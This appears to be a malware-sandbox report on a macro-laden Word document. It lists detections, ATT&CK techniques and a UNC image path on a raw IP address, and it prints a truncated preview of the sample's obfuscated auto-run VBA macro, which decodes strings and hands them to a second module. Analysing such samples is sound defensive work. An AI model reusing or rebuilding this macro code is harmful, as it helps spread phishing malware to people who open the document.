MALICIOUS
244
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
The sample contains a VBA macro that executes upon opening the document, indicated by the Document_Open heuristic. This macro is designed to display a hyperlink to 'http://kiyiemniyeti.gov.tr/?lang=2' and an image from a UNC path '\\104.237.233.38\a.jpg'. The presence of obfuscated VBA code and the use of CreateObject and GetObject functions suggest an attempt to download and execute a secondary payload or redirect the user to a malicious site.
Heuristics 8
-
ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 116517 bytes |
SHA-256: 3b9604782dd2ce67cd3b2490c080bce2059fdfe1e4bdc1be5c56700d2f36bf82 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 114 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton" Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox" Option Explicit Sub Document_Open() On Error Resume Next Dim cZkg, hDWS, eHyR As String cZkg = Ttbi(QYYM) hDWS = Ttbi(bNdl) eHyR = Ttbi(QloH) Dim jNxm As String jNxm = JwHb(oLNd(128, 211)) jNxm = uFUn(jNxm, JwHb(oLNd(246, 149))) jNxm = uFUn(jNxm, JwHb(oLNd(201, 187))) jNxm = uFUn(jNxm, JwHb(oLNd(208, 185))) jNxm = uFUn(jNxm, JwHb(oLNd(218, 170))) jNxm = uFUn(jNxm, JwHb(oLNd(76, 56))) jNxm = uFUn(jNxm, JwHb(oLNd(208, 185))) jNxm = uFUn(jNxm, JwHb(oLNd(38, 72))) jNxm = uFUn(jNxm, JwHb(oLNd(199, 160))) jNxm = uFUn(jNxm, JwHb(oLNd(28, 50))) jNxm = uFUn(jNxm, JwHb(oLNd(20, 82))) jNxm = uFUn(jNxm, JwHb(oLNd(208, 185))) jNxm = uFUn(jNxm, JwHb(oLNd(200, 164))) jNxm = uFUn(jNxm, JwHb(oLNd(248, 157))) jNxm = uFUn(jNxm, JwHb(oLNd(128, 211))) jNxm = uFUn(jNxm, JwHb(oLNd(64, 57))) jNxm = uFUn(jNxm, JwHb(oLNd(220, 175))) jNxm = uFUn(jNxm, JwHb(oLNd(76, 56))) jNxm = uFUn(jNxm, JwHb(oLNd(248, 157))) jNxm = uFUn(jNxm, JwHb(oLNd(12, 97))) jNxm = uFUn(jNxm, JwHb(oLNd(112, 63))) jNxm = uFUn(jNxm, JwHb(oLNd(127, 29))) jNxm = uFUn(jNxm, JwHb(oLNd(17, 123))) jNxm = uFUn(jNxm, JwHb(oLNd(248, 157))) jNxm = uFUn(jNxm, JwHb(oLNd(246, 149))) jNxm = uFUn(jNxm, JwHb(oLNd(76, 56))) Dim aDec As String aDec = cZkg Dim mrJi As String mrJi = "" mrJi = uFUn(mrJi, JwHb(oLNd(49, 114))) mrJi = uFUn(mrJi, JwHb(oLNd(185, 131))) mrJi = uFUn(mrJi, "\") mrJi = uFUn(mrJi, JwHb(oLNd(223, 143))) mrJi = uFUn(mrJi, JwHb(oLNd(201, 187))) mrJi = uFUn(mrJi, JwHb(oLNd(223, 176))) mrJi = uFUn(mrJi, JwHb(oLNd(199, 160))) mrJi = uFUn(mrJi, JwHb(oLNd(201, 187))) mrJi = uFUn(mrJi, JwHb(oLNd(23, 118))) mrJi = uFUn(mrJi, JwHb(oLNd(12, 97))) mrJi = uFUn(mrJi, JwHb(oLNd(123, 63))) mrJi = uFUn(mrJi, JwHb(oLNd(23, 118))) mrJi = uFUn(mrJi, JwHb(oLNd(76, 56))) mrJi = uFUn(mrJi, JwHb(oLNd(23, 118))) mrJi = uFUn(mrJi, "\") mrJi = uFUn(mrJi, JwHb(oLNd(213, 130))) mrJi = uFUn(mrJi, JwHb(oLNd(208, 185))) mrJi = uFUn(mrJi, JwHb(oLNd(38, 72))) mrJi = uFUn(mrJi, JwHb(oLNd(117, 17))) mrJi = uFUn(mrJi, JwHb(oLNd(223, 176))) mrJi = uFUn(mrJi, JwHb(oLNd(177, 198))) mrJi = uFUn(mrJi, JwHb(oLNd(220, 175))) mrJi = uFUn(mrJi, JwHb(oLNd(123, 63))) mrJi = uFUn(mrJi, JwHb(oLNd(248, 157))) mrJi = uFUn(mrJi, JwHb(oLNd(12, 106))) mrJi = uFUn(mrJi, JwHb(oLNd(248, 157))) mrJi = uFUn(mrJi, JwHb(oLNd(38, 72))) mrJi = uFUn(mrJi, JwHb(oLNd(117, 17))) mrJi = uFUn(mrJi, JwHb(oLNd(248, 157))) mrJi = uFUn(mrJi, JwHb(oLNd(201, 187))) mrJi = uFUn(mrJi, JwHb(oLNd(128, 211))) mrJi = uFUn(mrJi, JwHb(oLNd(248, 157))) mrJi = uFUn(mrJi, JwHb(oLNd(201, 187))) mrJi = uFUn(mrJi, JwHb(oLNd(217, 175))) mrJi = uFUn(mrJi, JwHb(oLNd(208, 185))) mrJi = uFUn(mrJi, JwHb(oLNd(246, 149))) mrJi = uFUn(mrJi, JwHb(oLNd(248, 157))) mrJi = uFUn(mrJi, JwHb(oLNd(28, 50))) mrJi = uFUn(mrJi, JwHb(oLNd(208, 185))) mrJi = uFUn(mrJi, JwHb(oLNd(38, 72))) mrJi = uFUn(mrJi, JwHb(oLNd(208, 185))) Module1.wmVW mrJi, aDec, jNxm Dim Ipfi As String Ipfi = "" Ipfi = uFUn(Ipfi, JwHb(oLNd(49, 114))) Ipfi = uFUn(Ipfi, JwHb(oLNd(185, 131))) Ipfi = uFUn(Ipfi, "\") Ipfi = uFUn(Ipfi, JwHb(oLNd(223, 143))) Ipfi = uFUn(Ipfi, JwHb(oLNd(201, 187))) Ipfi = uFUn(Ipfi, JwHb(oLNd(223, 176))) Ipfi = uFUn(Ipfi, JwHb(oLNd(199, 160))) Ipfi = uFUn(Ipfi, JwHb(oLNd(201, 187))) Ipfi = uFUn(Ipfi, JwHb(oLNd(23, 118))) Ipfi = uFUn(Ipfi, JwHb(oLNd(12, 97))) Ipfi = uFUn(Ipfi, JwHb(oLNd(123, 63))) Ipfi = uFUn(Ipfi, JwHb(oLNd(23, 118))) Ipfi = uFUn(Ipfi, JwHb(oLNd(76, 56))) Ipfi = uFUn(Ipfi, JwHb(oLNd(23, 118))) Ipfi = uFUn(Ipfi, "\") Ipfi = uFUn(Ipfi, JwHb(oLNd(141, 200))) Ipfi = uFUn(Ipfi, JwHb(oLNd(217, 175))) Ipfi = uFUn(Ipfi, JwHb(oLNd(248, 157))) Ipfi = uFUn(Ip ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.